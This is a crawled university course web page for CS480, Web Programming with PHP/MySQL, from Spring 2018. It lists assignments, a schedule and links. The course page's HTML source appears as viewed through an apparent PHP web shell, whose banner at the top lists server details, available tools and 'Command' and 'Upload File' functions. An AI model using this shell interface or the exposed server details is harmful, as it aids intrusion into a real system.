Server IP : 172.16.15.8 / Your IP : 3.145.155.149 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/zwang/www/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=windows-1252"> <meta name="GENERATOR" content="Microsoft FrontPage 4.0"> <meta name="ProgId" content="FrontPage.Editor.Document"> <title>CS480 CS TopicsL PHP/MySQL, VWC</title> </head> <body> <p align="center"><b><font face="Comic Sans MS" color="#993366" size="4">CS480 CS Topics: Web Programming with PHP/MySQL, Spring'18</font></b> <HR WIDTH=100%> <TABLE BORDER=0 CELLSPACING=0 CELLPADDING=2 WIDTH="100%" > </TABLE> <ul> <li><a href="CS480syllabus_18s.pdf"><font face="Comic Sans MS" color="#008080">Syllabus</font></a></li> <li><a href="../policy.pdf" target="_blank"><font face="Comic Sans MS" size="3" color="#008080">Course Policies</font></a></li> <li><font face="Comic Sans MS" color="#008080">Code in classroom </font> <ul> <li><font color="#008080">Sample page ( click <a href="http://zeus.vwc.edu/~zwang/FourEighty/code_18s/index.html" target="_blank"> here</a> ) | Students' pages ( click <a href="stu18.html" target="_blank"> here</a> )</font> </li> <font color="#008080"> <!--li><font color="#008080">PHP <a href="http://webwizard.aw.com/" target="_blank">Sources</a> in the reference book</font></li--> </ul> </li> <font color="#008080"> <li><font face="Comic Sans MS" color="#008080">Assignments. </font>Create a link from your home page to each of the assignment pages. <i>Requirement</i>: each assignment page has proper comments (file name, goal, author, etc.), user-friendly interface, and nice layout. C<span style="background-color: #FFFFFF">reate the document (name as <i>CS480Assignment#_FirstLastName.doc</i>) that includes the source codes as well as their screen copies of the WebPages examples. Email the doc file to <a href="mailto:usvwccs@gmail.com">usvwccs@gmail.com</a> and the subject is the same as the file name.</span> <ul> <li><i>Assignment</i> 1 (Due 1pm 2/8) P.10 #3 and #4 </li> <li><i>Assignment</i> 2 (Due 1pm 2/13) <span style="display: inline !important; float: none; background-color: transparent; color: rgb(0, 128, 128); font-family: Times New Roman; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; -webkit-text-stroke-width: 0px; white-space: normal; word-spacing: 0px;"> (a) Design a form that includes the text boxes for a, b, and c of quadratic equation, ax<sup>2</sup>+bx+c=0. And then create the action page displays the solutions (display to one decimal place). If no real roots, display the message. (b) Create a HTML form that receives the radius and height of a cylinder, and a PHP script page that displays its volume. (c) Design a form to collect the student name and his/her three test scores, and the action page displays the name and the average score (display to one decimal place).</span> </li> <li><i>Assignment</i> 3 (Due 1pm 2/15) <span style="display: inline !important; float: none; background-color: transparent; color: rgb(0, 128, 128); font-family: Times New Roman; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; -webkit-text-stroke-width: 0px; white-space: normal; word-spacing: 0px;">(a) Create a HTML form that receives the radius of a sphere, and a PHP script page that displays its volume (display to one decimal place). (b) </span>A Web-based exam with 4 questions with following requirements - i) each has at least 4 choices labeled A, B, C, and D, etc; ii) The correct answers should be 1-A, 2-B, 3-C, 4-D; iii) after submitting the form, score the questions and output the percentages of the correct answers. In the output, indicate which are wrong. </li> <li>To be updated </li> <li> <!-- Click <a href="CS480Final_Project_Report_MauriceReed.pdf">here</a> for Maurice's CS480 report. --> </li> </font> <li> </li> </ul> </li> <font color="#008080"> <li><font face="Comic Sans MS" color="#008080">Topics covered</font> <ul> <li>1/30 Syllabus. HTML basics</li> <li>2/02 PHP variables, loops</li> <li>2/06 More on PHP Basics</li> <li>2/08 Form and PHP action</li> <li>2/13 More on forms. Sessions</li> <li>2/15 More on sessions</li> <li>2/20 More on forms</li> <li>2/21 <span style="background-color: #FFFFFF">Test 1, </span></li> </font> </font> </ul> <font color="#008080"> <font color="#008080"> </li> </ul> <font color="#008080"> <hr> <ul> <li><font face="Comic Sans MS">How To ?</font><font face="Comic Sans MS" color="#008080"> </font> <ul> <li> <a href="SetupWeb.txt"><font color="#008080">Setup your Homepage</font></a> </li> <li> Run MySQL (click <a href="RunMySQL.txt">here</a>) | example of SQL script file (click <a href="file.sql">here</a>)</li> <li>Lecture slides: <a href="ppt/chapter1.ppt" target="_blank">ch 1</a> | <a href="ppt/chapter2.ppt" target="_blank">ch 2</a> | <a href="ppt/chapter3.ppt" target="_blank">ch 3</a> | <a href="ppt/chapter4.ppt" target="_blank">ch 4</a> | <a href="ppt/chapter5.ppt" target="_blank">ch 5</a> | <a href="ppt/chapter6a.ppt" target="_blank">ch 6a</a> | <a href="ppt/chapter6b.ppt" target="_blank">ch 6b</a> | <a href="ppt/chapter7.ppt" target="_blank">ch 7</a> | <a href="ppt/chapter8.ppt" target="_blank">ch 8 </a>|</li> </ul> </li> </ul> <hr> <ul> <li><font size="3" face="Comic Sans MS" color="#008080">Link to Previous Classes</font> <ul> <li>Spring'17: Sample page ( click <a href="http://zwang.vwc.edu/~jwang/FourEighty/code_17s/index.html" target="_blank"> here</a> ) | Students' pages ( click <a href="stu17.html" target="_blank"> here</a> )</li> <li>Spring'16: Sample page ( click <a href="http://zwang.vwc.edu/~jwang/FourEighty/code_16s/index.html" target="_blank">here</a> ) | Students' pages ( click <a href="stu16m.html" target="_blank">here</a> )</li> <li>Spring'14-15: Sample page (click <a href="http://zwang.vwc.edu/~jwang/FourEighty/code_14s/index.html">here</a>) | Students' pages (<a href="http://zeus.vwc.edu/~mreed/" target="_blank">Maurice Reed</a> | <a href="http://zeus.vwc.edu/~jdgoode/" target="_blank">Jeramie Goode</a> | For Spring'14 - click <a href="stu14.html">here</a>)</li> <li>Spring'13: Students' pages (click <a href="stu13.html">here</a>)</li> <li>Sprint'12: <a href="http://zwang.vwc.edu/~jwang/FourEighty/code_12s/"><font color="#008080">Sample Web</font> </a> || Link to the <a href="stu12.html"> <font color="#008080"> students' Webs</a></font> </li> <li><font face="Comic Sans MS" size="2">Fall'10: </font>Link to the <a href="http://zwang.vwc.edu/~jwang/php/" target="_blank">Sample Web</a> || <a href="stu10.html" target="_blank">students' Web</a>s</li> <li><font face="Comic Sans MS" size="2">Spring'09</font><font size="3" face="Comic Sans MS" color="#008080">: </font>Students' Webs - <font size="3" color="#008080"><a href="http://zeus.vwc.edu/~cjabbott/" target="_blank">Christie Abbott</a> | <a href="http://zeus.vwc.edu/~slcebula/" target="_blank">Stanley Cebula</a> | <a href="http://zeus.vwc.edu/~tafletcher/" target="_blank">Thomas Fletcher</a> | <a href="http://zeus.vwc.edu/~bafreeman/" target="_blank">Benjamin Freeman</a> | <a href="http://zeus.vwc.edu/~ndlutz/" target="_blank">Nathan Lutz </a>| <a href="http://zeus.vwc.edu/~jwmccreary/" target="_blank">Justin McCreary</a> | <a href="http://zeus.vwc.edu/~grpatillo/" target="_blank">George Patillo</a> | <a href="http://zeus.vwc.edu/~tasantos/" target="_blank">Tara Santos</a></font> </li> </ul> </li> <li><font face="Comic Sans MS" color="#008080">References</font> <ul> <li>Download SSH <a href="http://zeus.vwc.edu/~zwang/ssh/SSHSecureShellClient-3.2.5.exe">here</a></li> <li>How to use VI for editing a document in Linux server (click <a href="http://zwang.vwc.edu/~jwang/OneOneTwo/useVI.pdf">here</a>)</li> <li><a href="http://www.w3schools.com/html/default.asp" target="_blank"><font face="Comic Sans MS" color="#008080" size="2">HTML Basics</font></a></li> <li><a href="http://us2.php.net/manual/en/index.php" target="_blank"><font face="Comic Sans MS" color="#008080" size="2">PHP manual</font></a></li> <li><font face="Comic Sans MS" color="#008080" size="2">Math <a href="http://us2.php.net/math" target="_blank">functions</a></font></li> <li><font face="Comic Sans MS" color="#008080" size="2">String <a href="http://us2.php.net/manual/en/ref.strings.php" target="_blank">functions</a></font></li> <li><font face="Comic Sans MS" color="#008080" size="2">MySQL <a href="http://us.php.net/manual/en/function.mysql-query.php" target="_blank">functions</a></font></li> <li><a href="http://www.w3schools.com/sql/sql_where.asp" target="_blank"><font face="Comic Sans MS" color="#008080" size="2">SQL select</font></a></li> </ul> </li> </ul> <p> <HR> <i><font size="1" color="#008080">Copyright since 2000, Dr. John Wang, </font> <a href="http://www.vwc.edu/"> <font size="1" color="#008080">Virginia Wesleyan</font></a><font size="1" color="#008080">, 5817 Wesleyan Drive, Virginia Beach, VA 23455. Phone (757) 455-3200, Fax (757) 466-8283 <a href="mailto:zwang@vwc.edu"><br> </a>Updated on <!--webbot bot="Timestamp" S-Type="EDITED" S-Format="%A, %B %d, %Y" startspan -->Tuesday, February 13, 2018<!--webbot bot="Timestamp" i-CheckSum="59472" endspan --> by </font> <a href="mailto:zwang@vwc.edu"> <font size="1" color="#008080">zwang@vwu.edu</font></a><font size="1" color="#008080"> <br> http://zwang.vwc.edu/~jwang/FourEighty</font></i> </font> </font> </font> </body> </html>